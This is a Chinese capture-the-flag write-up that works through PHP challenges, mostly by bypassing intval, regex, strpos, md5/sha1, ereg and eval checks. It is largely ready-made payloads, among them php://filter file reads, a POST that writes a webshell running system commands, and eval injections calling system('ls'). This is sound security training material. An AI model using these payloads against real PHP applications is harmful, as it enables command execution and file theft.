查看一下intval的函数说明就知道使用数组来进行绕过了
这个题也是考察intval函数的,只需了解该函数第二个参数的意思即可
payload:
?num=0x117c
?num=010574
/m 多行匹配,但是当出现换行符
%0a
的时候,会被当做两行处理,而此时只可以匹配第 1 行,后面的行就会被忽略。
/i 修饰符大小写不敏感,如果没有使用 /i 的话,很容易使用大小写绕过
因此这题也比较好绕过
?cmd=%0aphp
这题和90的区别就是==
,用之前的payload也可以绕过,但是如果是这样那出这道题就没有什么意义,应该还有其他方法,查了资料
intval函数有个特性:如果$base为0直到遇上数字或正负符号才开始做转换,在遇到非数字或字符串结束时(\0)结束转换
payload:
?num=4476e1
过滤了字符,直接八进制绕过即可
?num=010574
这道题加了一个strpos函数来进行限制我们使用八进制,只要在开头匹配到了0,便无法绕过,数组绕过strpos函数在这里也不可以
想到了换行符,既然这个函数是匹配0的位置,那么恰好%0a,0的位置在第一位,而且经过url解码后是换行符对后面的数值不产生影响
payload:
?num=%0a010574
除此之外还有一种方法可以做,使用小数点来进行操作
?num=4476.0
过滤了.
,使用%0a绕过即可
?num=%0a010574
官方提示还可以使用
?num=+010574
?num=%2b010574
看到highlight_file函数就知道是文件包含,利用伪协议即可,没有什么过滤,用那个都可以
?u=php://filter/read=string.rot13/resource=flag.php
除此之外,既然没有过滤也可以使用这种方法
?u=./flag.php
考察md5函数的绕过,注意这里是三个=
,所以利用hash比较缺陷是不可行的
md5()函数无法处理数组类型,将报错并返回false
payload:
a[]=1&b[]=2
这道题应该是在考察变量覆盖,利用三目运算符将GET方式赋给POST、COOKIE、SERVER等参数,最终只要满足
$_GET['HTTP_FLAG']=='flag'
即可获取flag,那便可以使用POST方式传入这个HTTP_FLAG参数来获取flag,中间的两段代码没有什么作用
?flag=flag
DATA:
HTTP_FLAG=flag
array_push() 函数向第一个参数的数组尾部添加一个或多个元素(入栈),然后返回新数组的长度。
可以自己将源码拉到本地去测试一下,上面的代码生成如下数据
这道题应该是考察in_array函数的缺陷,如果不设置第三个参数将使用宽松的比较
如:
故上面的代码对下面无影响,直接写webshell即可,但是要注意文件名开头必须是以数字开头的
?n=1.php
DATA:
content=<?php system('cat *.php');?>
这题看似在考察is_numeric函数,其实是在考察and与&&的区别
is_numeric () — 检测变量是否为数字或数字字符串,如果是数字和数字字符串则返回 TRUE,否则返回 FALSE
但拉到本地测试一下就会发现,$v0是true还是false,只取决于第一个$v1的值
这里如果将and换成&,就会对三个参数的值都进行检查,从而得出是true还是false
第二表达式有点奇怪
eval("$v2('ctfshow')$v3");
一开始以为考察的是绕过杂糅代码,看了师傅的wp才知道这道题其实是考察反射类ReflectionClass,可以看官方的例子了解一下
然后输出这个类即可,也就是构造出 echo new ReflectionClass('ctfshow');
?v1=1&v2=echo new ReflectionClass&v3=;
没有太多限制,直接var_dump()函数输出也可以,加/**/是为了将杂糅代码去除
?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
除此之外,还可以
?v1=1&v2=?><?php echo `ls`?>/*&v3=;*/
?v1=1&v2=-system('ls')-&v3=-1;
这里举个例子,方便理解反射类ReflectionClass
class fuc { //定义一个类
static
function ec() {
echo '我是一个类';
}
}
$class=new ReflectionClass('fuc'); //建立 fuc这个类的反射类
$fuc=$class->newInstance(); //相当于实例化 fuc 类
$fuc->ec(); //执行 fuc 里的方法ec
/*最后输出:我是一个类*/
#还有其他用法
$ec=$class->getmethod('ec'); //获取fuc 类中的ec方法
$fuc=$class->newInstance(); //实例化
$ec->invoke($fuc); //执行ec 方法
过滤了很多符号,上一题的其他姿势不能用了,但还是可以使用反射类ReflectionClass来做
?v1=1&v2=echo new ReflectionClass&v3=;
这道题先来了解一下call_user_func这个函数的作用
call_user_func 把第一个参数作为回调函数(callback)调用,其余参数是回调函数的参数。
代码很简单,变量v2必须是数字,又必须在$s中写入我们想要写入的内容(比如shell等),$v3没有什么限制。
那么就有一个思路,既然v2只能是数字,那就把我们想要传入的内容转换为数字不就行了,这里就要用到hex2bin这个函数,将这个函数作为回调函数调用,参数传入内容的十六进制
但是十六进制编码出的payload都含有字符,既然对v3没有任何限制,考虑使用伪协议,关键就是找一个base64编码后的代码再转为十六进制为全数字的
$a='<?=`cat *`;';
$b=base64_encode($a); // PD89YGNhdCAqYDs=
$c=bin2hex($b); //等号在base64中只是起到填充的作用,不影响具体的数据内容
5044383959474e6864434171594473
故payload如下:
?v2=005044383959474e6864434171594473&v3=php://filter/convert.base64-decode/resource=1.php
DATA:
v1=hex2bin
在测试的也发现, is_numeric函数在php5的环境中,可以识别十六进制的,但在php7环境下则不行,本题就是在php7环境下
只是对写入内容进行过滤,不允许匹配到php,不过上一个payload也可以使用
考察sha1()函数遇到数组便会返回false,故payload为:
?v2[]=1
DATA:
V1[]=1
一看到双$,这题就在考察变量覆盖,简单了解一下这个foreach遍历函数
只要了解了这个函数的作用,这道题便好做了,第一种方法在die($error)输出flag,GET方式被限制键名不能是error,那就随便起一个,反正下面有key=key=value;,只是充当一个名字而且,没有什么影响
?Sn0w=flag
DATA:
error=Sn0w
实际在代码中为
GET:
$Sn0w=$flag
POST:
$error=$Sn0w
因为if条件的限制,没有传入flag参数,那便会执行die函数,die函数中又有$error变量,经过前两个循环函数,此时error变量的值已经被替换成了flag的值。
第二种方法,是在die($suces)中进行输出
suces=flag
DATA:
flag=
实际代码为:
GET:
$suces=$flag
POST=
$flag=
传入的flag的值为空,所以满足$_POST[‘flag’]==$flag这个条件,都为空,所以跳入下一个die函数,输出$suces变量(即$flag)
还是在考察sha1函数遇到数组返回false的特性
?v2[]=1
DATA:
v1[]=2
这道题主要在考察parse_str这个函数
parse_str — 将字符串解析成多个变量
所以我们可以在v1中将flag,已经flag的值以数组的元素的形式传入到$v2中,那后面的MD5就很简单了,我们只需传入一个加密好的md5值即可
?v3=Sn0w
DATA:
v1=flag=23017235f7fca0f545423eecd9b57686
ereg()函数搜索由指定的字符串作为由模式指定的字符串,如果发现模式则返回true,否则返回false,搜索对于字母字符是区分大小写的,用于正则表达式匹配。
一、ereg()函数存在NULL截断漏洞,可以%00截断,遇到%00则默认为字符串的结束,所以可以绕过一些正则表达式的检查。
二、ereg()只能处理字符串的,遇到数组做参数返回NULL。
这道题便是在考察ereg函数的第一个漏洞,后面两个函数都比较简单,一个是strrev函数,用于反转字符串,另一个函数的作用是用于获取变量的整数值。
0x36d的十进制=>877
故payload为:
?c=a%00778
第一个if条件到a便结束了,第二个if条件从778开始,转换后便是877,本地测试如下:
看到echo new想起了前面也做过一个这样的,是考察ReflectionClass反射类的,测试一下这道题是否可用
可以使用,这里还发现一个比较好玩的地方,虽然源代码中含有了括号,但是我们还是可以自己加上去,以及在里面设置参数,后面多出的()不对结果造成影响
payload为:
?v1=ReflectionClass&v2=system('cat *')
除下这种方法,还可以使用PHP异常处理(Exception)来做这道题,先简单了解一下PHP异常处理
?v1=Exception&v2=system('ls')
这里举个例子,方便理解异常类
<?php
// 创建一个有异常处理的函数
function checkNum($number)
{
if($number>1)
{
throw new Exception("变量值必须小于等于 1");
}
return true;
}
// 在 try 块 触发异常
try
{
checkNum(2);
// 如果抛出异常,以下文本不会输出
echo '如果输出该内容,说明 $number 变量';
}
// 捕获异常
catch(Exception $e)
{
echo 'Message: ' .$e->getMessage();
}
?>
上面代码将得到类似这样一个错误:Message: 变量值必须小于等于 1
这道题用上面两个方法就不行了,因为这里将括号等符号全过滤了,这道题看了官方的提示,考察的是PHP的内置类FilesystemIterator
先简单了解一下这个类的作用
PHP使用FilesystemIterator迭代器遍历目录
所以只需获取当前路径,便可以将当前目录下所有文件给显示出来,这里可以使用php中的getcwd这个函数
getchwd() 函数返回当前工作目录
故payload为
?v1=FilesystemIterator&v2=getcwd
用户名 | 金币 | 积分 | 时间 | 理由 |
---|---|---|---|---|
veek | 150.00 | 0 | 2021-02-05 10:10:15 | 学习审计思路~ |
打赏我,让我更有动力~
© 2016 - 2024 掌控者 All Rights Reserved.